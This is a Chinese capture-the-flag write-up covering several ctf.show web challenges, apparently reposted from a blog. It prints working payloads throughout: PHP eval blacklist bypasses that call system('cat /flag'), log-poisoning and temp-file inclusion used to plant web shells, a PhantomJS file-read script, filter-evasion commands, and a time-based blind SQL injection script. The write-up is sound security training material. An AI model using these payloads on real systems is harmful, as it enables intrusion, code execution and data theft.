赞
踩
题目源码
<?php
error_reporting(0);
show_source(__FILE__);
$hint=file_get_contents('php://filter/read=convert.base64-encode/resource=hhh.php');
$code=$_REQUEST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^');
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $code)) {
die('nonono');
}
}
eval("echo($code);");
?>
非预期解1:
题目是一个命令执行绕过的题,但是根据黑名单我们发现没法用异或或者取反绕过,但是可以用自增。直接给出大神的payload(相当于一句话eval($_POST['_'])
),然后就是使用一句话直接POST _=system(‘cat /flag’)
code=1);$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);(1
非预期解2:
既然没有限制我们用$
和[]
那我们直接用数组下标取出黑名单中的值即可。
比如$_[0]=a,$_[1]=b
。那么我们就可以用点号将单个字符连接构成相应的函数进行利用。
我们最终的目的是要构造出如下语句
$__='system';$___='ls';$__($___);
这里给出一个简单的拼接脚本
输出想用的函数即可得到相应的连接字符
s=['a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^']
word=input()
code=''
for j in word:
if j in s:
code+='$_['+str(s.index(j))+'].'
else:
code+="'"+j+"'"+"."
print(code)
'system'=$_[18].$_[24].$_[18].$_[19].$_[4].$_[11]
'ls /'=$_[13].$_[18].' /'
查看根目录下的文件(system(‘ls /’))
1);$__=$_[18].$_[24].$_[18].$_[19].$_[4].$_[11];$___=$_[13].$_[18].' /';$__($___);(1
打开flag文件(system(‘cat /flag’))
1);$__=$_[18].$_[24].$_[18].$_[19].$_[4].$_[11];$___=$_[2].$_[0].$_[19].' '.'/'.$_[5].$_[13].$_[0].$_[6];$__($___);(1
预期解
题中的代码给了$hint,那我们读取看看
payload:code=${$_[7].$_[8].$_[12].$_[19]}
解密base64得到phpjiami压缩包和hint.php,访问得到压缩包。是一个混淆后的php文件,那我们直接尝试解密。解密php脚本如下
<?php function decrypt($data, $key) { $data_1 = ''; for ($i = 0; $i < strlen($data); $i++) { $ch = ord($data[$i]); if ($ch < 245) { if ($ch > 136) { $data_1 .= chr($ch / 2); } else { $data_1 .= $data[$i]; } } } $data_1 = base64_decode($data_1); $key = md5($key); $j = $ctrmax = 32; $data_2 = ''; for ($i = 0; $i < strlen($data_1); $i++) { if ($j <= 0) { $j = $ctrmax; } $j--; $data_2 .= $data_1[$i] ^ $key[$j]; } return $data_2; } function find_data($code) { $code_end = strrpos($code, '?>'); if (!$code_end) { return ""; } $data_start = $code_end + 2; $data = substr($code, $data_start, -46); return $data; } function find_key($code) { // $v1 = $v2('bWQ1'); // $key1 = $v1('??????'); $pos1 = strpos($code, "('" . preg_quote(base64_encode('md5')) . "');"); $pos2 = strrpos(substr($code, 0, $pos1), '$'); $pos3 = strrpos(substr($code, 0, $pos2), '$'); $var_name = substr($code, $pos3, $pos2 - $pos3 - 1); $pos4 = strpos($code, $var_name, $pos1); $pos5 = strpos($code, "('", $pos4); $pos6 = strpos($code, "')", $pos4); $key = substr($code, $pos5 + 2, $pos6 - $pos5 - 2); return $key; } $input_file = $argv[1]; $output_file = $argv[1] . '.decrypted.php'; $code = file_get_contents($input_file); $data = find_data($code); if (!$code) { echo '未找到加密数据', PHP_EOL; exit; } $key = find_key($code); if (!$key) { echo '未找到秘钥', PHP_EOL; exit; } $decrypted = decrypt($data, $key); $uncompressed = gzuncompress($decrypted); // 由于可以不勾选代码压缩的选项,所以这里判断一下是否解压成功,解压失败就是没压缩 if ($uncompressed) { $decrypted = str_rot13($uncompressed); } else { $decrypted = str_rot13($decrypted); } file_put_contents($output_file, $decrypted); echo '解密后文件已写入到 ', $output_file, PHP_EOL;
用法 php 该解密脚本 带解密的php文件例如 php decrypt.php encrypt.php
解密后即可得到hint.php的内容,直接利用里面的一句话即可
考点: PhantomJS任意文件
在自己服务器创建html页面并添加如下js代码,接着在题目的输入框中写入服务器上该页面的地址即可
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///flag");
x.send();
</script>
根据提示扫描后台目录得到 index.php.bak查看源码,是文件包含漏洞
解法1:日志文件包含
因为是nginx的日志文件在 /var/log/nginx/access.log
直接包含尝试可行,接着将一句话写入UA,蚁剑连接即可。
但是发现flag隐藏在/etc的文件夹下
那我们直接查找带有flag字符的文件就好啦
grep -r "flag" *
* : 表示当前目录所有文件,也可以是某个文件名
-r 是递归查找
这里再给出其他大神提供的方法
find /etc -name "*" | xargs grep "flag"
解法2:临时文件包含
上传一句话并利用死循环,防止脚本执行结束后删除临时文件
怎么产生死循环呢,直接包含自身就可以了
<html>
<body>
<form action="https://a0d685b2-4404-43d4-ace2-32935120f010.chall.ctf.show/all_info_u_want.php?file=all_info_u_want.php&all_info_i_want" method="POST" enctype="multipart/form-data">
<input type="file" name="file" value="选择文件">
<input type="submit" name="submit" value="上传">
</form>
</body>
</html>
接着直接包含该临时文件就可以了
level1
要求输入的字符不是回文,但是intval($num) = intval(strrev($num));
因为intval的特性,level1就有很多方法绕过了
举几个例子 -0, 0- , 1.10 , 0. , .0
level2
要求$md5==md5(md5($md5))
根据php弱类型比较的漏洞,直接跑脚本使得
0e连接上一个数构成的字符串,进行两次md5之后依然是0e开头,且全部都是数字
import hashlib
def md5(s):
return hashlib.md5(s.encode()).hexdigest()
for i in range(10**30):
i='0e'+str(i)
result=md5(md5(i))
if result[0:2]=='0e' and result[2:].isnumeric():
print(i)
跑了大概一个半小时 结果是0e1138100474
level3
过滤了空格可以用%09代替,过滤了关键字可以加\绕过
payload:c\at%09/flag
右键查看网页源代码得到php源码
目的很简单,输入的secret的md5是$flag的md5
但是题目用的弱比较
在网站上输入?give_me_shell
得到了 $flag的逐位与0xC0与的结果,其中为0的则代表md5值为0-9中的,为64的则代表是a-f中的
因为前三位均为0说明$flag的md5的前三位为数字第四位为字母,
那我们直接爆破即可了
import requests
url = "https://23df1ff9-39b7-442d-9b9d-fca6ebdaff47.chall.ctf.show/?give_me_shell"
s = requests.session()
for i in range(10):
for j in range(10):
for k in range(10):
headers = {
'cookie':'secret={"secret": '+str(i)+str(j)+str(k)+'}'
}
res = s.get(url,headers = headers)
if "here is your" in res.text:
print(headers)
print(res.text)
得到115,所以直接修改cookie中secret的值为{“secret”:115}即可
得到 w3b5HeLLlll123.php,访问发现又是一个代码审计
通过测试发现过滤了单双引号,括号,反引号,字符 f 以及一些常用函数,既然题目提示我们 flag在 /flag.txt中,那个就应该是要读取文件内容了,既然括号不能用,那就只有使用几个不需要括号的函数了 比如 echo require,因为反引号过滤了,显然echo没有价值了,那个就只有 require了。
题目中没有过滤掉~,那个我们就可以构造文件名
首先读取 /flag.txt中的内容
?code=]=1?><?=require~%d0%99%93%9e%98%d1%8b%87%8b?>
提示flag在/flag中
payload:?code=]=1?><?=require~%d0%99%93%9e%98?>
经过测试用户名中只要有admin即可进行注入,
猜测sql语句为select * from users where username='$username' and password='$password'
因为过滤了引号但是留了注释符,那么我们可以用\将单引号转义
构成如下语句
select * from users where username='\' and password='||1#'
但是发现没能登录成功,看来我们需要将密码爆破出来了
经过手工尝试,发现密码字段为password并且长度为15
没有过滤if可以使用时间盲注,但是过滤了substr和ascii,我们可以right和mid代替,脚本如下
import requests url="https://5bbdd868-4f7e-4a8e-b209-3533bea0182d.chall.ctf.show/" k="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" flag="" for i in range(6,16): print(i) i=14 for j in k: j=ord(j) data={ 'username':'admin\\', 'password':'^if(ord(right(password,{0}))like({1}),sleep(2),1)#'.format(i,j) } #print(data['password']) try: r=requests.post(url,data=data,timeout=(2,2)) except: flag+=chr(j) print(flag) break
登录成功即可得到flag,但是需要将得到的密码逆置
ps:需要根据自己网络进行延时的调整,不然可能会不准确
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。